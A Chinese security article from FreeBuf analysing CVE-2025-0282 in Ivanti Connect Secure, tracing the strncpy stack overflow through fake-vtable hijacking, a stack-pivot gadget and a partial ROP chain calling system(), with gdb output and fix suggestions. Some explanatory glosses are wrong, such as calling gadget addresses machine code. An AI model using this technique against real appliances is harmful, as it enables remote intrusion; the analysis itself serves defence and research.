freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

CVE-2025-0282漏洞分析
chosenny 2025-01-22 12:06:22 87702
所属地 陕西省

概述

2025年1月8日,Ivanti为其 Connect Secure、Policy Secure 和 ZTA 网关产品发布了安全公告,涉及两个漏洞(CVE-2025-0282 和 CVE-2025-0283)。该威胁简报提供了我们在最近的事件响应过程中观察到的攻击详细信息,以向社区提供可操作的情报。这些详细信息可用于进一步检测使用 CVE-2025-0282 执行的当前攻击。

这些 Ivanti 产品都是促进网络远程连接的设备。因此,它们是攻击者可能针对的面向外部的资产,以渗透网络。

CVE-2025-0282 是 Ivanti Connect Secure 之前版本(22.7R2.5 以下版本)、Ivanti Policy Secure 之前版本(22.7R1.2 以下版本)和 Ivanti Neurons for ZTA 网关之前版本(22.7R2.3 以下版本)的堆栈溢出漏洞,这允许远程未认证攻击者实现远程代码执行。此漏洞已被分配了 9.0 的严重 CVSS 分数。

CVE-2025-0283 是 Ivanti Connect Secure 之前版本(22.7R2.5 以下版本)、Ivanti Policy Secure 之前版本(22.7R1.2 以下版本)和 Ivanti Neurons for ZTA 网关之前版本(22.7R2.3 以下版本)的堆栈溢出漏洞,这允许本地认证攻击者提升其权限。此漏洞已被分配了 7.0 的较高 CVSS 分数。

在 Ivanti 的公告发布当天,Mandiant 揭示了使用 CVE-2025-0282 远程代码执行漏洞的野外攻击发现。

1月10日,Watchtowr Labs 也分析了已利用的漏洞。1月12日,Watchtowr 提供了漏洞的详细操作流程,1月16日发布了概念验证(PoC)。

Palo Alto Networks 客户在以下产品和服务中可以获得 CVE-2025-0282 和 CVE-2025-0283 的保护和缓解措施:

  • Advanced WildFire

  • Advanced URL Filtering

  • Advanced DNS Security

  • Cortex Xpanse 可以识别暴露在公共互联网上的 Connect Secure、Policy Secure 和 ZTA 网关产品,并将这些发现提升给防御者。

Palo Alto Networks 还建议根据其安全公告中的描述,应用受影响 Ivanti 设备的适当更新。

Unit 42 事件响应团队也可以协助处理网络入侵或提供主动评估以降低风险。

漏洞分析

以下分析基于反编译的代码,代码来源于运行版本为 22.7R2.3 的 Ivanti Connect Secure 设备。漏洞具体位于二进制文件/home/bin/web中,该文件负责处理所有传入的 HTTP 请求和 VPN 协议(包括 IFT TLS),这是 Ivanti Connect Secure 设备的重要组件。

此前我们发现,如果攻击者发送的clientCapabilities块超过 256 字节,会溢出到其他栈变量,最终覆盖返回地址,从而实现远程代码执行(RCE)。

如你所记得(如果不记得这里重复说明),我们发现 Ivanti 开发人员在处理clientCapabilities时使用了strncpy,而不是不安全的strcpy,但他们错误地将输入字符串的大小作为大小限制传递,而不是目标缓冲区的大小。

从下面的反编译代码输出可以看到,dest缓冲区被定义为 256 字节大小。在第 22 行,clientCapabilities参数的值被提取;第 25 行计算了该值的长度;第 31 行将其复制到dest缓冲区。

这最终揭示了我们正在寻找的漏洞关键点,并允许进行越界写入操作。

以下是对这段代码的分析和解释:


函数签名

int __cdecl ift_handle_1(int a1, IftTlsHeader *a2, char *a3)
  • a1: 表示某个指针,可能是与 TLS 会话或连接相关的上下文对象。

  • a2: 是指向IftTlsHeader结构的指针,可能与 TLS 协议头部解析相关。

  • a3: 表示某个字符串或数据缓冲区的指针。


局部变量

char dest[256];
  • 一个 256 字节的栈缓冲区,用于存储字符串数据。

char object_to_be_freed[4];
void *ptr;
  • 用于动态分配或释放的对象及指针。

int v18, v19, v20, v21, v22;
char v23, v24;
void *v25;
_DWORD v26[499];
  • 其他用于存储临时数据、状态或指针的变量。


功能步骤分析

  1. 获取clientCapabilities

clientCapabilities = getKey(req, "clientCapabilities");
if ( clientCapabilities != NULL )
{
    clientCapabilitiesLength = strlen(clientCapabilities);
    if ( clientCapabilitiesLength != 0 )
        connInfo->clientCapabilities = clientCapabilities;
}
  • 使用getKey函数从请求对象中提取"clientCapabilities"参数。

    • 如果参数不为NULL且长度不为 0,则将其存储到连接信息connInfo中。

    • 潜在问题:clientCapabilities的长度没有被验证,可能导致溢出问题。

  1. 处理dest缓冲区

memset(dest, 0, sizeof(dest));
strncpy(dest, connInfo->clientCapabilities, clientCapabilitiesLength);
  • dest初始化为全零。

    • 使用strncpyclientCapabilities的内容复制到dest缓冲区。

    • 潜在问题:

      • 如果clientCapabilitiesLength大于256,则会导致越界写入。

      • strncpy并不会在目标缓冲区末尾自动追加\0,可能引发后续问题。

  1. 后续处理

v24 = 46;
v25 = &v57;
if ( ((unsigned __int8)&v57 & 2) != 0 )
{
    LOBYTE(v24) = 44;
    v57 = 0;
    v25 = (__int16 *)&v58;
}
memset(v25, 0, 4 * (v24 >> 2));
v26 = &v25[2 * (v24 >> 2)];
if ( (v24 & 2) != 0 )
    *v26 = 0;
  • 这些代码似乎在调整某些内存指针,可能与缓冲区对齐和清零相关。

    • 操作较为复杂,具体作用取决于v57v58的上下文定义。

  1. 调用函数和释放资源

(*(void (__cdecl **)(int, __int16 *))(*(_DWORD *)a1 + 0x48))(a1, &v22);
isValid = 1;
EPMessage::~EPMessage((EPMessage *)v18);
DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);
return isValid;
  • 执行指针调用函数,可能是某种回调或连接清理函数。

    • 释放消息和内存池对象,确保资源回收。


漏洞分析

  1. 核心问题:strncpy的使用

    • 由于clientCapabilitiesLength未被限制,strncpy有可能导致目标缓冲区dest的越界写入。

    • 这是典型的栈溢出漏洞,攻击者可以利用它覆盖返回地址或其他关键变量,从而实现控制流劫持。

  2. 潜在后果

    • 如果攻击者能够构造一个恶意的clientCapabilities,就可以通过溢出覆盖返回地址并执行任意代码。


修复建议

  1. 对输入长度进行验证

if (clientCapabilitiesLength > sizeof(dest) - 1)
    clientCapabilitiesLength = sizeof(dest) - 1;
  • 在复制数据前,确保clientCapabilitiesLength不超过目标缓冲区dest的大小。

  1. 使用安全函数

snprintf(dest, sizeof(dest), "%s", clientCapabilities);
  • 使用更安全的字符串操作函数,例如snprintf

  1. 加强输入检查

    • 验证clientCapabilities的来源和内容,确保其长度和格式符合预期。

既然我们已经讲解了这一部分,想必你们已经在心里想:“好吧,但栈布局到底是怎样的?”

栈布局

我们已经将栈布局展示给你们了。我们有dest缓冲区和许多其他变量,如你所见——其中还包括我们存储的返回地址。

在正常且较为简单的情况下,你可以通过越界写入漏洞写入足够的数据来覆盖这个返回地址——这也更容易实现,因为栈保护(栈金丝雀)并没有启用——从而控制我们的指令指针。

然而,生活并不总是如此简单,我们面临着一个问题:
+---------------------+
| v18 (int) |
+---------------------+
| v19 (int) |
+---------------------+
| dest[256] | <- 256 bytes
+---------------------+
| object_to_be_freed | <- 4 bytes
+---------------------+
| ptr (void *) |
+---------------------+
| v20 (int) |
+---------------------+
| v21 (int) |
+---------------------+
| v22 (int) |
+---------------------+
| v23 (char) |
+---------------------+
| v24 (char) |
+---------------------+
| v25 (void *) |
+---------------------+
| v26[499] | <- 499 DWORDs (4 bytes each)
+---------------------+
| Return Address |
+---------------------+
| int a1 |
+---------------------+
| IftTlsHeader *a2 |
+---------------------+

我们面临的问题是:

在函数返回之前(即覆盖的返回地址被使用之前),有一段代码会被执行。
然而,这段代码会使用栈中dest缓冲区之后的object_to_be_freed变量。由于这个对象在函数返回前被销毁,free()函数会因为无效地址而抛出异常。

让我们聚焦于之前代码的一小部分。以下代码在函数返回之前被执行。问题在于,object_to_be_freed变量位于栈中dest缓冲区之后,而由于这个对象在返回之前被销毁,free()函数因此抛出异常。

以下是对应的(反编译后)代码:

代码解析

51:      isValid = 1;
52:      EPMessage::~EPMessage((EPMessage *)v18);
53:      DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);
54:      return isValid;

逐行解释

51:isValid = 1;

  • 变量isValid被设置为 1,表示函数的返回值(通常是成功的标志)。

  • 这表明此时函数逻辑已接近结束,准备返回。


52:EPMessage::~EPMessage((EPMessage *)v18);

  • 调用EPMessage对象的析构函数,销毁v18指向的对象。

  • v18是一个指向EPMessage类型对象的指针。

  • 析构函数通常用于释放对象内部分配的资源,比如内存、文件描述符等。


53:DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);

  • 调用DSUtilMemPool对象的析构函数,销毁object_to_be_freed指向的对象。

  • object_to_be_freed是一个动态分配的资源或内存池的指针。

  • 析构函数尝试释放与对象相关联的资源,可能使用了free()来释放内存。


54:return isValid;

  • 函数返回isValid值,表示执行结果。

  • 由于isValid在第 51 行被设置为 1,返回值通常为成功状态。


问题分析

object_to_be_freed的问题

  • 位置object_to_be_freed位于栈中dest缓冲区之后。

  • 破坏性:如果之前的缓冲区溢出导致object_to_be_freed的地址被篡改,调用析构函数时,free()会尝试释放一个无效地址。

  • 结果free()函数抛出异常(如 Segmentation Fault 或 Invalid Free 错误),导致程序崩溃。


如何触发问题

  1. 缓冲区溢出

    • 如果攻击者通过dest缓冲区的越界写入覆盖了object_to_be_freed的内容或地址,就会导致指针指向无效区域。

  2. 销毁对象时出错

    • 当析构函数尝试释放伪造或无效的object_to_be_freedfree()会抛出异常,导致程序无法正常返回。


解决方案

  1. 防止缓冲区溢出

if (clientCapabilitiesLength > sizeof(dest) - 1) {
clientCapabilitiesLength = sizeof(dest) - 1;
  • 在写入dest缓冲区时,验证输入长度:

}
```

  1. 检查指针有效性

if (object_to_be_freed != NULL) {
DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);
  • 在调用析构函数前,验证object_to_be_freed是否为有效指针:

}
```

这给我们带来了一个直接的问题,当试图进行实际利用时——我们无法触发 `ret` 指令,除非我们能提供一个有效的地址。

令人意外的是,这里启用了完全的 ASLR 和 PIE,因此会变得非常棘手。那么,如果还有其他方法呢?

虚表!虚表!虚表!

好吧,让我们再次仔细查看反编译的代码——但这次,我们将关注在触发所需的返回之前执行的另一段反编译代码。

代码分析

48:      (*(void (__cdecl **)(int, __int16 *))(*(_DWORD *)a1 + 0x48))(a1, &v22);
49:
50:
51:      isValid = 1;
52:      EPMessage::~EPMessage((EPMessage *)v18);
53:      DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);
54:      return isValid;

解释

  1. 第48行

(*(void (__cdecl **)(int, __int16 *))(*(_DWORD *)a1 + 0x48))(a1, &v22);
  • 这行代码通过虚表(VTable)调用一个函数指针。

    • a1是一个指针,假设是某种对象的起始地址。

    • (_DWORD *)a1表示将a1强制转换为DWORD类型的指针(在 x86 上是 4 字节)。

    • (*(_DWORD *)a1 + 0x48)表示取出对象的虚表指针,然后偏移 0x48(可能是第 18 个虚函数)。

    • (*(void (__cdecl **)(int, __int16 *)))将偏移位置的值解释为一个函数指针,函数接受两个参数:一个int和一个__int16 *

    • 最后(a1, &v22)表示用参数调用该函数。

  1. 第49行
    空行,用于分隔代码块,可能是为了视觉清晰度。

  2. 第50行
    空行,同样为了视觉分隔。

  3. 第51行

isValid = 1;
  • 将变量isValid设置为1,通常表示验证通过或某种成功状态。

  1. 第52行

EPMessage::~EPMessage((EPMessage *)v18);
  • 调用EPMessage对象的析构函数。

    • (EPMessage *)v18v18转换为EPMessage类型的指针。

    • EPMessage::~EPMessage是析构函数的符号。

  1. 第53行

DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);
  • 调用DSUtilMemPool的析构函数。

    • (DSUtilMemPool *)object_to_be_freedobject_to_be_freed转换为DSUtilMemPool类型的指针。

    • 用于释放动态分配的内存或清理资源。

  1. 第54行

return isValid;
  • 返回isValid的值(通常是 1),表明整个过程执行成功。

以下是执行该函数调用的反汇编。

在此过程中,eax被填充为堆栈上存储的指针,然后解引用该指针并更新eax

最后,再次解引用eax + 0x48以计算要调用的函数地址。

mov     eax, [esp+0A0Ch+arg_0]
mov     eax, [eax]
mov     [esp+0A0Ch+src], edx
mov     edx, [esp+0A0Ch+arg_0]
mov     [esp+0A0Ch+n], 2Eh ; '.' ; int
mov     [esp+0A0Ch+var_A0C], edx
call    dword ptr [eax+48h]
  1. mov eax, [esp+0A0Ch+arg_0]
    这段代码将内存地址esp + 0A0Ch + arg_0的值加载到寄存器eax中。

    • esp:栈指针

    • arg_0:函数或过程中的第一个参数偏移值。

  2. mov eax, [eax]
    这段代码将存储在eax中的地址加载为值。即,从eax地址处读取一个值,并将其赋值给eax

  3. mov [esp+0A0Ch+src], edx
    这段代码将寄存器edx的值存储到内存地址esp + 0A0Ch + src中。

  4. mov edx, [esp+0A0Ch+arg_0]
    这段代码从内存地址esp + 0A0Ch + arg_0读取一个值,并将其赋值给edx

  5. mov [esp+0A0Ch+n], 2Eh
    这段代码将2Eh(即ASCII码的.)赋值到内存地址esp + 0A0Ch + n

  6. mov [esp+0A0Ch+var_A0C], edx
    这段代码将寄存器edx的值存储到内存地址esp + 0A0Ch + var_A0C中。

  7. call dword ptr [eax+48h]
    这段代码调用一个函数,函数地址存储在eax+48h的位置。调用的是dword(即4字节)对齐的函数地址。

总的来说,这段代码涉及内存操作、寄存器间的传递,以及调用一个间接函数。

这种使用eax寄存器的方式在 C++ 中常见,特别是在涉及this指针时。具体来说,访问this指针指向的值并添加一定的偏移量,表明虚表(vtable)正在被使用来调用虚拟函数。

希望下面这幅手绘的图表能更清晰地展示这一过程:
Memory Layout:

+--------------------------+
| *this Pointer |
+--------------------------+
|
v
+--------------------------+
| vtable Address | <- Points to the vtable
+--------------------------+
|
v
+--------------------------+
| vtable (Virtual Table) | <- Array of pointers to virtual functions
+--------------------------+
| *Function[0x04] |
+--------------------------+
| *Function[0x08] |
+--------------------------+
| *Function[0x0C] |
+--------------------------+
| ... |
+--------------------------+
| *Function[0x48] | <- Points to a sequence of x86 instructions
+--------------------------+
|
v
+--------------------------+
| Function[0x48] Prologue |
+--------------------------+
| push ebp | <- Save base pointer
+--------------------------+
| mov ebp, esp | <- Set base pointer
+--------------------------+
| sub esp, 0x20 | <- Allocate stack space
+--------------------------+
| ... | <- Additional instructions
+--------------------------+

这副图展示了 C++ 中虚拟函数调用的内存布局过程。以下是图中各部分的解析:

  1. *this Pointer

    • *this是 C++ 中的this指针,指向调用该对象的实例。

  2. vtable Address

    • vtable地址指向对象的虚表(vtable),即一个包含指向虚拟函数的指针数组的地址。

  3. vtable (Virtual Table)

    • 虚表是一个数组,每个元素是一个虚拟函数的地址。数组的每个元素包含指向具体实现的函数的地址。

  4. *Function[0x04], *Function[0x08], *Function[0x0C], ...

    • 每个函数地址表示虚拟函数的实际实现。这些地址指向函数的开始,其中偏移量如0x04,0x08等表示不同函数在虚表中的位置。

  5. Function[0x48] Prologue

    • 具体的虚拟函数Function[0x48]在内存中包含了其对应的函数序列。这个函数开始部分包含堆栈处理,例如保存ebp、设置ebp、分配堆栈空间等,形成了该函数的基本栈帧。

*this指针实际上存储在栈上,在返回地址之后,以a1的形式出现,这是我们在利用超出边界的原语时函数的第一个参数。

+---------------------+
| v18 (int) |
+---------------------+
| v19 (int) |
+---------------------+
| dest[256] | <- 256 bytes
+---------------------+
| object_to_be_freed | <- 4 bytes
+---------------------+
| ptr (void *) |
+---------------------+
| v20 (int) |
+---------------------+
| v21 (int) |
+---------------------+
| v22 (int) |
+---------------------+
| v23 (char) |
+---------------------+
| v24 (char) |
+---------------------+
| v25 (void *) |
+---------------------+
| v26[499] | <- 499 DWORDs (4 bytes each)
+---------------------+
| Return Address |
+---------------------+
| int a1 |
+---------------------+
| IftTlsHeader *a2 |
+---------------------+

如果我们超出返回地址,并覆盖this指针,我们实际上可以控制在对象object_to_be_freed被销毁之前的执行流程。

Hunting For Our Gadget
尽管我们可以将计划简化为一句话 - 这并不是一件简单的事情。

我们需要伪造一个 vtable - 更具体地说,我们需要一个有效的指针,指向另一个指针,这样当 0x48 被添加时,指针将指向有效的指令,对我们有用 - 即,第一个有用的 gadget。

在找到这个“独角兽”之前,我们需要知道我们实际上在寻找什么?哪些真正对我们有用?

简单来说 - 如果我们能找到一个早期返回的 gadget,并且在此之前不会导致段错误,那么我们可以控制指令指针。

After A Bit Of Time
在时间的力量——神秘、希望和梦想的推动下,我们最终找到了一个符合我们需求的 gadget。

让我们来看一下下一幅图:

Memory Layout:

+--------------------------+
| *fake_this Pointer |
+--------------------------+
|
v
+--------------------------+
| fake_vtable Address | <- Points to the vtable
+--------------------------+
|
v
+--------------------------+
| fake vtable |
+--------------------------+
| *gadget_0[0x48] | <- Points to a sequence of x86 instructions
+--------------------------+
|
v
+--------------------------+
| gadget_0[0x48] |
+--------------------------+
| xor eax, eax | <- Clear EAX register
+--------------------------+
| ret | <- Return to caller
+--------------------------+

这段内存布局描述了一个伪造的内存结构,其目的是利用虚表(vtable)指针伪造和ROP(Return-Oriented Programming)技术控制程序的执行流。以下是图中各部分的详细解释:


  1. *fake_this Pointer

    • 这是一个伪造的指针,指向fake_vtable Address

    • 它模拟了 C++ 类中对象的this指针,通常用于访问虚函数表(vtable)。


  1. fake_vtable Address

    • 指向伪造的虚表地址fake vtable

    • 在正常的 C++ 程序中,vtable 存储函数指针,用于调用虚函数。这里伪造了这个地址,以劫持程序流程。


  1. fake vtable

    • 伪造的虚表,其中某个偏移量(如 0x48)处的指针被设置为gadget_0[0x48]的地址。

    • 当程序尝试调用虚函数时,它会通过该地址跳转到一个预定义的代码片段(gadget)。


  1. *gadget_0[0x48]

    • 指向有效的指令序列gadget_0[0x48],是一个符合条件的 ROP gadget。

    • 该 gadget 的偏移量和结构设计使其能够在被调用时执行预期操作。


  1. gadget_0[0x48]

    • 包含实际的指令序列,用于利用漏洞执行攻击者想要的操作。

    • xor eax, eax: 清除寄存器EAX,将其设置为 0。

    • ret: 返回到调用者处,可以继续链式调用下一个 gadget,形成一个完整的 ROP 链。

简要说明
我们找到了一个fake_this指针,它指向一个地址,该地址存储了另一个地址。当我们在这个地址上加上0x48后,它会指向一个 gadget,该 gadget 执行xor eax, eax,然后是一个ret

完美,这样就完成了吗?

并没有,事情从来没那么简单。我们面临另一个问题 —— 当ret即将执行时,堆栈的状态如下:

gdb> x/10wx $esp
0xff9fa6e0: 0xff9fa800 0x56d7fe10 0x00000d35 0x56767c7f
0xff9fa6f0: 0x00000032 0x5677d44c 0x00000000 0x00000000
0xff9fa700: 0x00000000 0x00000000

命令说明

  • x/10wx $esp:

    • x: 查看内存内容(examine memory)。

    • /10w: 查看 10 个单元的内容,每个单元是 4 字节(word)。

    • x: 按十六进制格式显示数据。

    • $esp: 从当前栈指针地址(ESP寄存器值)开始查看。


输出解释

0xff9fa6e0:	0xff9fa800	0x56d7fe10	0x00000d35	0x56767c7f
0xff9fa6f0:	0x00000032	0x5677d44c	0x00000000	0x00000000
0xff9fa700:	0x00000000	0x00000000
  1. 栈的内存布局

    • 地址部分(左侧)如0xff9fa6e0是当前堆栈内存中的地址,按递增顺序排列。

    • 数据部分(右侧)如0xff9fa800是存储在这些地址中的值。

  2. 逐行解析

    • 0xff9fa6e0: 栈顶起始地址。其值为0xff9fa800,可能是下一段栈帧的地址或指针。

    • 0x56d7fe10: 可能是某函数的返回地址(指向代码段)。

    • 0x00000d350x56767c7f: 可能是函数的参数或局部变量。

    • 0x00000032: 一个数字常量或标志值。

    • 0x5677d44c: 可能是另一个代码指针或变量地址。

    • 0x00000000: 通常是未初始化的栈空间。

  3. 堆栈状态总结

    • 栈中的数据代表了调用栈的一部分,包含:

      • 返回地址

      • 参数或局部变量

      • 未使用的填充数据

ret指令执行时,它会从当前栈顶(0xff9fa6e0)弹出一个值(0xff9fa800)作为返回地址。
问题可能在于:

  • 栈内容未正确设置,导致ret弹出的地址无效(如跳转到错误位置)。

  • 或者当前栈布局需要调整,确保攻击链正确工作。

解决方案可能涉及调整堆栈内容以控制程序流,例如通过精确构造 ROP 链或伪造数据。

这些值都不在我们的控制之中,因此我们期望的ret将跳转到对我们无用的地方。

Pivot Duck Slide Around The Stack
尽管我们对当前堆栈的状态感到失望,因为它看起来毫无希望,但进一步查看堆栈时却发现了一个令人振奋的迹象。

我们作为初始有效载荷的一部分喷射的字节,准确地出现在$esp+0x120的位置。

因此,如果我们能够执行堆栈转换(stack pivot),将$esp指向我们控制的缓冲区,我们就可以提前控制eip,而无需依赖原始的 IF-T 解析器尾部代码(epilogue)。

gdb> x/100wx $esp
0xff9fa6e0: 0xff9fa800 0x56d7fe10 0x00000d35 0x56767c7f
0xff9fa6f0: 0x00000032 0x5677d44c 0x00000000 0x00000000
0xff9fa700: 0x00000000 0x00000000 0x00000d34 0xff9fa752
0xff9fa710: 0x00001547 0xff9fa728 0x00000000 0xff9fa900
0xff9fa720: 0x00000000 0x00000000 0xff9fa900 0xf7a68490
0xff9fa730: 0xff9fa900 0x00000003 0x00000010 0xff9fa948
0xff9fa740: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa750: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa760: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa770: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa780: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa790: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa7f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xff9fa800: 0x61616161 0x61616162 0x61616163 0x61616164
0xff9fa810: 0x61616165 0x61616166 0x61616167 0x61616168
0xff9fa820: 0x61616169 0x6161616a 0x6161616b 0x6161616c
0xff9fa830: 0x6161616d 0x6161616e 0x6161616f 0x61616170
0xff9fa840: 0x61616171 0x61616172 0x61616173 0x61616174
0xff9fa850: 0x61616175 0x61616176 0x61616177 0x61616178
0xff9fa860: 0x61616179 0x6261617a 0x62616162 0x62616163

1. 命令解释

  • x:显示内存内容。

  • /100wx:表示显示 100 个字 (每个字为 4 字节,w 表示 word) 的数据,并以 16 进制格式(x)显示。

  • $esp:起始地址为栈指针寄存器(ESP)中保存的地址。

2. 数据内容

每一行的格式如下:

<地址>: <数据1> <数据2> <数据3> <数据4>
  • <地址>:内存起始地址。

  • <数据1> ~ <数据4>:从该地址开始连续读取的 4 个 4 字节数据。

3. 内存数据的观察

栈上的数据大致可以分为几个区域:

  • 系统或函数返回值区域

    • 0xff9fa6e00xff9fa740,主要是 0x56d7fe10、0x5677d44c 等值,可能是函数返回地址、程序计数器或局部变量。

    • 0x00000d34等可能是函数的参数。

  • 空闲或未使用区域

    • 0xff9fa7400xff9fa7f0,全是0x00000000,表示当前没有有效数据,可能是未初始化的局部变量或对齐用的填充数据。

  • 自定义输入区域

0x61616161 ('aaaa')
  • 0xff9fa800开始,出现了一段连续的模式化数据:

0x61616162 ('aaab')
0x61616163 ('aaac')
0x61616164 ('aaad')
```

* 这些是以 `a`开头的 ASCII 字符,紧随其后是增量的变化,通常是程序中人为填充的输入数据。

特别注意:

  • 0xff9fa800开始是可能的缓冲区区域,若数据过多可能造成缓冲区溢出。

  • 0x6261617a0x62616163是数据输入中后续部分,表明输入已经超出0xff9fa800的初始区域。

4. 潜在问题

  • 如果这是用于调试栈溢出或缓冲区溢出的场景,可以看到从0xff9fa800开始的输入数据已经填满栈内存,可能覆盖了重要的函数返回地址或控制流。

  • 若溢出点数据能控制某些关键地址(例如返回地址),攻击者可通过精心构造的输入数据实现任意代码执行。

正如之前所讨论的,我们不能随便使用任何地址作为初始 gadget 的地址——我们需要再次完成整个过程,并找到一个有效的指针,这个指针可以被伪造为一个this指针,指向一个虚表(vtable)。在这个虚表中,偏移量+0x48的成员需要同时执行栈迁移(stack pivot)和提前返回(early ret)。

值得庆幸的是,Ivanti 的 web 二进制文件包含了许多库文件。

经过一段时间的查找,并排除那些在执行过程中因为解引用各种寄存器而导致段错误(segfault)的 gadget 后,我们终于发现了一个神奇的选项。

来自“神灵”的 Gadget

我们新发现的这个神奇而闪亮的 gadget 不仅可以执行栈迁移(stack pivot),还能够实现提前返回(early ret),并且其中没有任何会导致早期段错误(segfault)的指令。

简直完美!

Memory Layout:

+--------------------------+
| *fake_this Pointer |
+--------------------------+
|
v
+--------------------------+
| fake_vtable Address | <- Points to the vtable
+--------------------------+
|
v
+--------------------------+
| fake vtable |
+--------------------------+
| *gadget_0[0x48] | <- Points to a sequence of x86 instructions
+--------------------------+
|
v
+--------------------------+
| gadget_0[0x48] |
+--------------------------+
| mov ebx, 0xfffffff0 | <- Load value into EBX
+--------------------------+
| add esp, 0x204C | <- Adjust stack pointer
+--------------------------+
| mov eax, ebx | <- Copy EBX to EAX
+--------------------------+
| pop ebx | <- Restore EBX
+--------------------------+
| pop esi | <- Restore ESI
+--------------------------+
| pop edi | <- Restore EDI
+--------------------------+
| pop ebp | <- Restore EBP
+--------------------------+
| ret | <- Return to caller
+--------------------------+

现在我们已经找到了正确的 gadget,应该可以控制 EIP 寄存器中的值了。

Thread 2.1 "web" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 10799.10799]
0xdeadbeefin ?? ()
(gdb) bt
#0 0xdeadbeef in ?? ()
#1 0x6974000a in ?? ()
#2 0x253a6e6f in ?? ()
#3 0x6f702032 in ?? ()
#4 0x6c207472 in ?? ()
#5 0x3a747369 in ?? ()
#6 0x33252720 in ?? ()
#7 0xff002e27 in ?? ()
#8 0x00000001 in ?? ()
#9 0x00000000 in ?? ()

这段 GDB(GNU 调试器)输出显示了一个进程在运行时发生了SIGSEGV(段错误)信号。以下是一些解释:

(1) SIGSEGV(Segmentation fault)

  • SIGSEGV是一种信号,表明程序试图访问无效的内存区域,例如访问一个未初始化或非法的内存地址。

  • 这通常是由于程序访问超出了其允许访问的内存范围或使用了无效的指针。

(2)GDB 输出

  • Thread 2.1 "web" received signal SIGSEGV, Segmentation fault.

    • 说明第 2 个线程,名为"web",在运行时收到SIGSEGV信号,导致段错误。

(3)GDB 堆栈跟踪(Backtrace)

  • #0 0xdeadbeef in ?? ()

    • 这是一个未知的内存地址0xdeadbeef,表明段错误可能是由于非法访问或未初始化的内存造成的。

  • 接下来的栈信息 (#1#9) 显示了函数调用的堆栈顺序和未知地址的引用。

4. 分析

  • 0xdeadbeef这种常见的十六进制地址常常出现在未初始化或非法访问的情况下。

  • 堆栈中出现的一些其他地址和函数调用,可能是由于内存操作或非法的指针访问引发的问题。

  • 除此之外,其他地址和符号是未知的,因此需要进一步调试以确定具体的问题。

ROP n ROLL

让我们看看我们的位置:

我们已经控制了eip
ROP 无限制地可行,
堆栈已经在我们期望的位置。

在这种情况下,编写一个可以实现远程代码执行(RCE)的 ROP 链应该是逻辑上很简单的。

mov_eax_esp_ret = p32(0xf29e92c3) # mov eax, esp; ret
add_eax_8_ret = p32(0xf5068858) # add eax, 8; ret;
add_eax_8_ret = p32(0xf5068858) # add eax, 8; ret;
add_eax_8_ret = p32(0xf5068858) # add eax, 8; ret;
add_eax_8_ret = p32(0xf5068858) # add eax, 8; ret;
pop_esi_ret = p32(0xf4f5de27) # pop esi; ret;
esi = p32(0xf5a07d40) # system
set_arg_call_esi = p32(0xf4f5e265) # mov dword ptr [esp], eax; call esi;

这段代码涉及到一个栈溢出攻击中的ROP(重定向执行流程,Return-Oriented Programming)链的构建。以下是每一部分的解释:

(1)mov_eax_esp_ret = p32(0xf29e92c3)

  • mov eax, esp; ret:这是一个 ROP 段,用来将eax寄存器的值设置为当前的堆栈指针 (esp),然后返回。

  • 十六进制数0xf29e92c3mov eax, esp指令的机器码。

(2)add_eax_8_ret = p32(0xf5068858)

  • add eax, 8; ret:这个 ROP 段将eax中的值加 8,然后返回。

  • 十六进制数0xf5068858是对应机器码。

(3)pop_esi_ret = p32(0xf4f5de27)

  • pop esi; ret:这个 ROP 段将值从堆栈弹出到esi寄存器中,然后返回。

  • 十六进制数0xf4f5de27是对应机器码。

(4)esi = p32(0xf5a07d40)

  • esi = p32(0xf5a07d40)esi寄存器的值设置为0xf5a07d40,这个值通常代表函数地址,例如system或其他函数。

(5)set_arg_call_esi = p32(0xf4f5e265)

  • mov dword ptr [esp], eax; call esi:这个 ROP 段将eax的值存入当前的堆栈中,然后调用esi指向的函数。

  • 十六进制数0xf4f5e265是对应机器码

构建漏洞利用

我们已经讨论了漏洞利用的过程以及从技术角度如何进行。

然而,对于希望利用此技术制作自己的漏洞利用的读者,我们有意省略了一些细节,这些细节需要你自己完成。这是有意为之。

你需要:

找到我们讨论过的 gadgets 地址,
编写一个循环来暴力破解 ASLR。由于这是一个 x86 目标,而且 ASLR 仅应用于某些范围,这应该是一个简单的任务。

# 漏洞 # 黑客 # 系统安全
本文为 chosenny 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
chosenny LV.4
这家伙太懒了,还未填写个人描述!
  • 22 文章数
  • 18 关注者
现代植入设计:位置无关的恶意软件开发
2025-04-05
无尽的漏洞利用:一个 macOS 漏洞被打了九次的传奇
2025-03-07
